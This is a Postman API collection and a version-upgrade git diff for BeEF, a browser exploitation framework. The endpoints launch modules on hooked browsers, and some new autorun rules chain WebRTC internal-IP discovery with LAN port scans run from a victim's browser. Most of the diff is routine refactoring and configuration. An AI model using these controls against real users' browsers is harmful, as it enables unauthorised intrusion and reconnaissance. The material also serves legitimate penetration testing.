"port": "3000",
"path": [
"api",
"logs"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "The logs handler gives information about all hooked browser's logs, both global and relative."
},
"response": []
},
{
"name": "Get Specific Hooked Browsers Logs",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/logs/{{session}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"logs",
"{{session}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": " The logs handler gives information about a specified hooked browser's logs.\n"
},
"response": []
},
{
"name": "List All Command Modules",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/modules?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "List all available BeEF command modules."
},
"response": []
},
{
"name": "Get Information on Specific Module",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/modules/{{module_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"{{module_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Get detailed information about a specific BeEF command module.\n"
},
"response": []
},
{
"name": "Launch Command Module on a Specific Browser",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"{{session}}",
"{{module_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Launch a specific BeEF command module on a given hooked browser.\n"
},
"response": []
},
{
"name": "Return Information About Previously Executed Module",
"protocolProfileBehavior": {
"disableBodyPruning": true
},
"request": {
"method": "GET",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}/{{cmd_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"{{session}}",
"{{module_id}}",
"{{cmd_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Returns information about a specific previously launched BeEF command module.\n"
},
"response": []
},
{
"name": "Send a Metasploit Module",
"request": {
"method": "POST",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"{{session}}",
"{{module_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Launch a specific Metasploit module on a given hooked browser\n"
},
"response": []
},
{
"name": " Send a Module to Multiple Hooked Browsers",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/modules/multi_browser?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"multi_browser"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Fire a new command module to multiple hooked browsers. Returns the command IDs of the launched module, or 0 if firing got issues."
},
"response": []
},
{
"name": " Send Multiple Modules to a Single Hooked Browser",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/modules/multi_module?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"multi_module"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Fire multiple command modules to a single hooked browser. Returns the command IDs of the launched modules, or 0 if firing got issues."
},
"response": []
},
{
"name": "List the DNS ruleset",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/dns/ruleset?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"dns",
"ruleset"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Returns the current set of DNS rules.\n"
},
"response": []
},
{
"name": "List a Specific DNS Rule",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/dns/rule/{{dnsrule_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"dns",
"rule",
"{{dnsrule_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Returns an individual DNS rule given its unique id.\n"
},
"response": []
},
{
"name": "Add a New DNS Rule",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/dns/rule?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"dns",
"rule"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Adds a new DNS rule or \"resource record\". Does nothing if rule is already present.\n"
},
"response": []
},
{
"name": "Remove an Existing DNS Rule",
"request": {
"method": "DELETE",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/dns/rule/{{dnsrule_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"dns",
"rule",
"{{dnsrule_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Removes an individual DNS rule with a specified unique ID.\n"
},
"response": []
}
],
"protocolProfileBehavior": {}
}

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -18,10 +18,26 @@ end
## RSPEC
require 'rspec/core/rake_task'
RSpec::Core::RakeTask.new(:spec)
RSpec::Core::RakeTask.new(:spec) do |task|
task.rspec_opts = ['--tag ~run_on_browserstack']
end
RSpec::Core::RakeTask.new(:browserstack) do |task|
task.rspec_opts = ['--tag run_on_browserstack']
end
RSpec::Core::RakeTask.new(:bs) do |task|
configs = Dir["spec/support/browserstack/**/*.yml"]
configs.each do |config|
config = config.split('spec/support/browserstack')[1]
ENV['CONFIG_FILE'] = config
puts "\e[45m#{config.upcase}\e[0m"
task.rspec_opts = ['--tag run_on_browserstack']
Rake::Task['browserstack'].invoke
Rake::Task['browserstack'].reenable
end
end
################################
# SSL/TLS certificate
@@ -115,7 +131,7 @@ task :beef_start => 'beef' do
test_pass = ENV['TEST_BEEF_PASS'] || 'bad_fred_no_access'
# write a rake config file for beef
config = YAML.load(File.read('./config.yaml'))
config = YAML.safe_load(File.read('./config.yaml'))
config['beef']['credentials']['user'] = test_user
config['beef']['credentials']['passwd'] = test_pass
Dir.mkdir('tmp') unless Dir.exists?('tmp')

View File

@@ -1,7 +1,7 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
0.4.7.4-alpha-pre
0.5.4.0

1
_config.yml Normal file
View File

@@ -0,0 +1 @@
theme: jekyll-theme-minimal

View File

@@ -0,0 +1,29 @@
{"name": "LAN Port Scan",
"author": "aburro & aussieklutz",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "port_scanner",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
"options": {
"ipHost":"<<mod_input>>",
"ports":"80,8080",
"closetimeout":"1100",
"opentimeout":"2500",
"delay":"600",
"debug":"false"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,25 @@
{"name": "LAN SW Port Scan",
"author": "aburro & aussieklutz",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "sw_port_scanner",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
"options": {
"ipHost":"192.168.1.10",
"ports":"80,8080"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

68
beef
View File

@@ -1,7 +1,7 @@
#!/usr/bin/env ruby
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -12,11 +12,12 @@
$VERBOSE = nil
#
# @note Version check to ensure BeEF is running Ruby 2.4+
# @note Version check to ensure BeEF is running Ruby 2.7+
#
if RUBY_VERSION < '2.4'
min_ruby_version = '2.7'
if RUBY_VERSION < min_ruby_version
puts
puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version 2.4 or later."
puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version #{min_ruby_version} or later."
puts
exit 1
end
@@ -42,6 +43,28 @@ $home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze
# @note Require core loader
#
require 'core/loader'
require 'timeout'
#
# @note Ask user if they would like to update beef
#
if File.exist?("#{$root_dir}git") && BeEF::Core::Console::CommandLine.parse[:update_disabled] == false
if BeEF::Core::Console::CommandLine.parse[:update_auto] == true
print 'Checking latest BeEF repository and updating'
`git pull && bundle`
elsif `git rev-parse master` != `git rev-parse origin/master`
begin
Timeout.timeout(5) do
puts '-- BeEF Update Available --'
print 'Would you like to update to lastest version? y/n: '
response = gets
`git pull && bundle` if response&.strip == 'y'
end
rescue Timeout::Error
puts "\nUpdate Skipped with input timeout"
end
end
end
#
# @note Create ~/.beef/
@@ -109,13 +132,13 @@ end
#
# @note Validate beef.http.public and beef.http.public_port
#
unless config.get('beef.http.public').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public'))
print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public')}"
unless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host'))
print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}"
exit 1
end
unless config.get('beef.http.public_port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public_port'))
print_error "ERROR: Invalid public port: #{config.get('beef.http.public_port')}"
unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port'))
print_error "ERROR: Invalid public port: #{config.get('beef.http.public.port')}"
exit 1
end
@@ -161,18 +184,29 @@ db_file = config.get('beef.database.file')
# @note Resets the database if the -x flag was passed
if BeEF::Core::Console::CommandLine.parse[:resetdb]
print_info 'Resetting the database for BeEF.'
File.delete(db_file) if File.exists?(db_file)
begin
File.delete(db_file) if File.exists?(db_file)
rescue => e
print_error("Could not remove '#{db_file}' database file: #{e.message}")
exit(1)
end
end
# Connect to DB
ActiveRecord::Base.logger = nil
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)
# otr-activerecord require you to manually establish the connection with the following line
#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.
if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
OTR::ActiveRecord.establish_connection!
end
# Migrate (if required)
context = ActiveRecord::Migration.new.migration_context
if context.needs_migration?
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate
end
#
# @note Extensions may take a moment to load, thus we print out a please wait message
#
@@ -181,7 +215,12 @@ print_info 'BeEF is loading. Wait a few seconds...'
#
# @note Execute migration procedure, checks for new modules
#
BeEF::Core::Migration.instance.update_db!
begin
BeEF::Core::Migration.instance.update_db!
rescue => e
print_error("Could not update '#{db_file}' database file: #{e.message}")
exit(1)
end
#
# @note Create HTTP Server and prepare it to run
@@ -189,6 +228,13 @@ BeEF::Core::Migration.instance.update_db!
http_hook_server = BeEF::Core::Server.instance
http_hook_server.prepare
begin
BeEF::Core::Logger.instance.register('System', 'BeEF server started')
rescue => e
print_error("Database connection failed: #{e.message}")
exit(1)
end
#
# @note Prints information back to the user before running the server
#

16
conf.json Normal file
View File

@@ -0,0 +1,16 @@
{
"source": {
"include": ["./core/main/client"],
"includePattern": ".js$"
},
"plugins": [
"plugins/markdown"
],
"opts": {
"encoding": "utf8",
"readme": "./README.md",
"destination": "docs/",
"recurse": true,
"verbose": true
}
}

View File

@@ -1,12 +1,12 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# BeEF Configuration file
beef:
version: '0.4.7.4-alpha-pre'
version: '0.5.4.0'
# More verbose messages (server-side)
debug: false
# More verbose messages (client-side)
@@ -27,10 +27,12 @@ beef:
# subnet of IP addresses that can connect to the admin UI
#permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
permitted_ui_subnet: ["0.0.0.0/0", "::/0"]
# subnet of IP addresses that cannot be hooked by the framework
excluded_hooking_subnet: []
# slow API calls to 1 every api_attempt_delay seconds
api_attempt_delay: "0.05"
# HTTP server
# HTTP server
http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "0.0.0.0"
@@ -45,14 +47,21 @@ beef:
# Host Name / Domain Name
# If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
# set the public hostname below:
#public: "" # public hostname/IP address
# These settings will be used to create a public facing URL
# This public facing URL will be used for all hook related calls
# set the public setting below:
# public:
# host: "" # public hostname/IP address
# port: "" # public port will default to 80 if no https 443 if https
# and local if not set but there is a public host
# https: false # true/false
# Reverse Proxy / NAT
# If you want BeEF to be accessible behind a reverse proxy or NAT,
# set both the publicly accessible hostname/IP address and port below:
#public: "" # public hostname/IP address
#public_port: "" # public port (experimental)
# NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed
# by altering the X-FORWARDED-FOR ip address in the request header.
allow_reverse_proxy: false
# Hook
hook_file: "/hook.js"
@@ -72,7 +81,7 @@ beef:
# NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
secure: true
secure_port: 61986 # WSSecure
ws_poll_timeout: 1000 # poll BeEF every second
ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it
ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
@@ -84,6 +93,8 @@ beef:
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
https:
enable: false
# Enabled this config setting if you're external facing uri is using https
public_enabled: false
# In production environments, be sure to use a valid certificate signed for the value
# used in beef.http.public (the domain name of the server where you run BeEF)
key: "beef_key.pem"
@@ -109,10 +120,10 @@ beef:
dns_hostname_lookup: false
# IP Geolocation
# NOTE: requires MaxMind database. Run ./updated-geoipdb to install.
geoip:
enable: true
database: '/opt/GeoIP/GeoLite2-City.mmdb'
# GeoLite2 City database created by MaxMind, available from https://www.maxmind.com
database: '/usr/share/GeoIP/GeoLite2-City.mmdb'
# Integration with PhishingFrenzy
# If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy

View File

@@ -1,12 +1,11 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
#
# Registrar class to handle all registered timed API calls
#
@@ -24,26 +23,26 @@ module BeEF
# Register timed API calls to an owner
#
# @param [Class] owner the owner of the API hook
# @param [Class] c the API class the owner would like to hook into
# @param [Class] clss the API class the owner would like to hook into
# @param [String] method the method of the class the owner would like to execute
# @param [Array] params an array of parameters that need to be matched before the owner will be called
#
def register(owner, c, method, params = [])
unless verify_api_path(c, method)
print_error "API Registrar: Attempted to register non-existant API method #{c} :#{method}"
def register(owner, clss, method, params = [])
unless verify_api_path(clss, method)
print_error "API Registrar: Attempted to register non-existant API method #{clss} :#{method}"
return
end
if registered?(owner, c, method, params)
print_debug "API Registrar: Attempting to re-register API call #{c} :#{method}"
if registered?(owner, clss, method, params)
print_debug "API Registrar: Attempting to re-register API call #{clss} :#{method}"
return
end
id = @count
@registry << {
'id' => id,
'owner' => owner,
'class' => c,
'id' => id,
'owner' => owner,
'class' => clss,
'method' => method,
'params' => params
}
@@ -56,18 +55,19 @@ module BeEF
# Tests whether the owner is registered for an API hook
#
# @param [Class] owner the owner of the API hook
# @param [Class] c the API class
# @param [Class] clss the API class
# @param [String] method the method of the class
# @param [Array] params an array of parameters that need to be matched
#
# @return [Boolean] whether or not the owner is registered
#
def registered?(owner, c, method, params = [])
def registered?(owner, clss, method, params = [])
@registry.each do |r|
next unless r['owner'] == owner
next unless r['class'] == c
next unless r['class'] == clss
next unless r['method'] == method
next unless is_matched_params? r, params
return true
end
false
@@ -76,17 +76,18 @@ module BeEF
#
# Match a timed API call to determine if an API.fire() is required
#
# @param [Class] c the target API class
# @param [Class] clss the target API class
# @param [String] method the method of the target API class
# @param [Array] params an array of parameters that need to be matched
#
# @return [Boolean] whether or not the arguments match an entry in the API registry
#
def matched?(c, method, params = [])
def matched?(clss, method, params = [])
@registry.each do |r|
next unless r['class'] == c
next unless r['class'] == clss
next unless r['method'] == method
next unless is_matched_params? r, params
return true
end
false
@@ -98,24 +99,25 @@ module BeEF
# @param [Integer] id the ID of the API hook
#
def unregister(id)
@registry.delete_if {|r| r['id'] == id }
@registry.delete_if { |r| r['id'] == id }
end
#
# Retrieves all the owners and ID's of an API hook
# @param [Class] c the target API class
# @param [Class] clss the target API class
# @param [String] method the method of the target API class
# @param [Array] params an array of parameters that need to be matched
#
# @return [Array] an array of hashes consisting of two keys :owner and :id
#
def get_owners(c, method, params = [])
def get_owners(clss, method, params = [])
owners = []
@registry.each do |r|
next unless r['class'] == c
next unless r['class'] == clss
next unless r['method'] == method
next unless is_matched_params? r, params
owners << { :owner => r['owner'], :id => r['id'] }
owners << { owner: r['owner'], id: r['id'] }
end
owners
end
@@ -126,23 +128,23 @@ module BeEF
#
# @note This is a security precaution
#
# @param [Class] c the target API class to verify
# @param [String] m the target method to verify
# @param [Class] clss the target API class to verify
# @param [String] mthd the target method to verify
#
def verify_api_path(c, m)
(c.const_defined?('API_PATHS') && c.const_get('API_PATHS').key?(m))
def verify_api_path(clss, mthd)
(clss.const_defined?('API_PATHS') && clss.const_get('API_PATHS').key?(mthd))
end
#
# Retrieves the registered symbol reference for an API hook
#
# @param [Class] c the target API class to verify
# @param [String] m the target method to verify
# @param [Class] clss the target API class to verify
# @param [String] mthd the target method to verify
#
# @return [Symbol] the API path
#
def get_api_path(c, m)
verify_api_path(c, m) ? c.const_get('API_PATHS')[m] : nil
def get_api_path(clss, mthd)
verify_api_path(clss, mthd) ? clss.const_get('API_PATHS')[mthd] : nil
end
#
@@ -171,36 +173,32 @@ module BeEF
#
# Fires all owners registered to this API hook
#
# @param [Class] c the target API class
# @param [String] m the target API method
# @param [Class] clss the target API class
# @param [String] mthd the target API method
# @param [Array] *args parameters passed for the API call
#
# @return [Hash, NilClass] returns either a Hash of :api_id and :data
# if the owners return data, otherwise NilClass
#
def fire(c, m, *args)
mods = get_owners(c, m, args)
def fire(clss, mthd, *args)
mods = get_owners(clss, mthd, args)
return nil unless mods.length.positive?
unless verify_api_path(c, m) && c.ancestors[0].to_s > 'BeEF::API'
print_error "API Path not defined for Class: #{c} method:#{method}"
unless verify_api_path(clss, mthd) && clss.ancestors[0].to_s > 'BeEF::API'
print_error "API Path not defined for Class: #{clss} method: #{mthd}"
return []
end
data = []
method = get_api_path(c, m)
method = get_api_path(clss, mthd)
mods.each do |mod|
begin
# Only used for API Development (very verbose)
# print_info "API: #{mod} fired #{method}"
# Only used for API Development (very verbose)
# print_info "API: #{mod} fired #{method}"
result = mod[:owner].method(method).call(*args)
unless result.nil?
data << { :api_id => mod[:id], :data => result }
end
rescue => e
print_error "API Fire Error: #{e.message} in #{mod}.#{method}()"
end
result = mod[:owner].method(method).call(*args)
data << { api_id: mod[:id], data: result } unless result.nil?
rescue StandardError => e
print_error "API Fire Error: #{e.message} in #{mod}.#{method}()"
end
data
@@ -214,8 +212,7 @@ require 'core/api/modules'
require 'core/api/extension'
require 'core/api/extensions'
require 'core/api/main/migration'
require 'core/api/main/network_stack/assethandler.rb'
require 'core/api/main/network_stack/assethandler'
require 'core/api/main/server'
require 'core/api/main/server/hook'
require 'core/api/main/configuration'

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -7,14 +7,11 @@
module BeEF
module API
module Extension
attr_reader :full_name, :short_name, :description
@full_name = ''
@short_name = ''
@description = ''
end
end
end

View File

@@ -1,21 +1,18 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Extensions
# @note Defined API Paths
API_PATHS = {
'post_load' => :post_load
}
'post_load' => :post_load
}.freeze
# API hook fired after all extensions have been loaded
def post_load;
end
def post_load; end
end
end
end

View File

@@ -1,22 +1,19 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Configuration
# @note Defined API Paths
API_PATHS = {
module API
module Configuration
# @note Defined API Paths
API_PATHS = {
'module_configuration_load' => :module_configuration_load
}
# Fires just after module configuration is loaded and merged
# @param [String] mod module key
def module_configuration_load(mod); end
}.freeze
# Fires just after module configuration is loaded and merged
# @param [String] mod module key
def module_configuration_load(mod); end
end
end
end
end

View File

@@ -1,21 +1,18 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Migration
# @note Defined API Paths
API_PATHS = {
module API
module Migration
# @note Defined API Paths
API_PATHS = {
'migrate_commands' => :migrate_commands
}
}.freeze
# Fired just after the migration process
def migrate_commands; end
# Fired just after the migration process
def migrate_commands; end
end
end
end
end

View File

@@ -1,36 +1,34 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module NetworkStack
module Handlers
module AssetHandler
module API
module NetworkStack
module Handlers
module AssetHandler
# Binds a file to be accessible by the hooked browser
# @param [String] file file to be served
# @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used
# @param [String] extension to be used in the URL
# @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit)
# @return [String] URL bound to the specified file
# @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.bind(file, path = nil, extension = nil, count = -1)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
end
# Binds a file to be accessible by the hooked browser
# @param [String] file file to be served
# @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used
# @param [String] extension to be used in the URL
# @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit)
# @return [String] URL bound to the specified file
# @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.bind(file, path=nil, extension=nil, count=-1)
return BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
# Unbinds a file made accessible to hooked browsers
# @param [String] url the bound URL
# @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.unbind(url)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)
end
end
end
end
# Unbinds a file made accessible to hooked browsers
# @param [String] url the bound URL
# @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.unbind(url)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)
end
end
end
end
end
end
end

View File

@@ -1,43 +1,40 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Server
# @note Defined API Paths
API_PATHS = {
module API
module Server
# @note Defined API Paths
API_PATHS = {
'mount_handler' => :mount_handler,
'pre_http_start' => :pre_http_start
}
# Fires just before the HTTP Server is started
# @param [Object] http_hook_server HTTP Server object
def pre_http_start(http_hook_server); end
# Fires just after handlers have been mounted
# @param [Object] server HTTP Server object
def mount_handler(server); end
# Mounts a handler
# @param [String] url URL to be mounted
# @param [Class] http_handler_class the handler Class
# @param [Array] args an array of arguments
# @note This is a direct API call and does not have to be registered to be used
def self.mount(url, http_handler_class, args = nil)
BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
end
}.freeze
# Unmounts a handler
# @param [String] url URL to be unmounted
# @note This is a direct API call and does not have to be registered to be used
def self.unmount(url)
# Fires just before the HTTP Server is started
# @param [Object] http_hook_server HTTP Server object
def pre_http_start(http_hook_server); end
# Fires just after handlers have been mounted
# @param [Object] server HTTP Server object
def mount_handler(server); end
# Mounts a handler
# @param [String] url URL to be mounted
# @param [Class] http_handler_class the handler Class
# @param [Array] args an array of arguments
# @note This is a direct API call and does not have to be registered to be used
def self.mount(url, http_handler_class, args = nil)
BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
end
# Unmounts a handler
# @param [String] url URL to be unmounted
# @note This is a direct API call and does not have to be registered to be used
def self.unmount(url)
BeEF::Core::Server.instance.unmount(url)
end
end
end
end
end
end

View File

@@ -1,24 +1,21 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Server
module Hook
module API
module Server
module Hook
# @note Defined API Paths
API_PATHS = {
'pre_hook_send' => :pre_hook_send
}.freeze
# @note Defined API Paths
API_PATHS = {
'pre_hook_send' => :pre_hook_send
}
# Fires just before the hook is sent to the hooked browser
# @param [Class] handler the associated handler Class
def pre_hook_send(handler); end
# Fires just before the hook is sent to the hooked browser
# @param [Class] handler the associated handler Class
def pre_hook_send(handler); end
end
end
end
end
end
end

View File

@@ -1,26 +1,24 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Command
end
module Module
# @note Defined API Paths
API_PATHS = {
'pre_soft_load' => :pre_soft_load,
'post_soft_load' => :post_soft_load,
'pre_hard_load' => :pre_hard_load,
'post_hard_load' => :post_hard_load,
'get_options' => :get_options,
'get_payload_options' => :get_payload_options,
'override_execute' => :override_execute
}
'pre_soft_load' => :pre_soft_load,
'post_soft_load' => :post_soft_load,
'pre_hard_load' => :pre_hard_load,
'post_hard_load' => :post_hard_load,
'get_options' => :get_options,
'get_payload_options' => :get_payload_options,
'override_execute' => :override_execute
}.freeze
# Fired before a module soft load
# @param [String] mod module key of module about to be soft loaded
@@ -54,8 +52,6 @@ module BeEF
# @return [Hash] a hash of options
# @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned.
def get_payload_options; end
end
end
end

View File

@@ -1,22 +1,18 @@
#
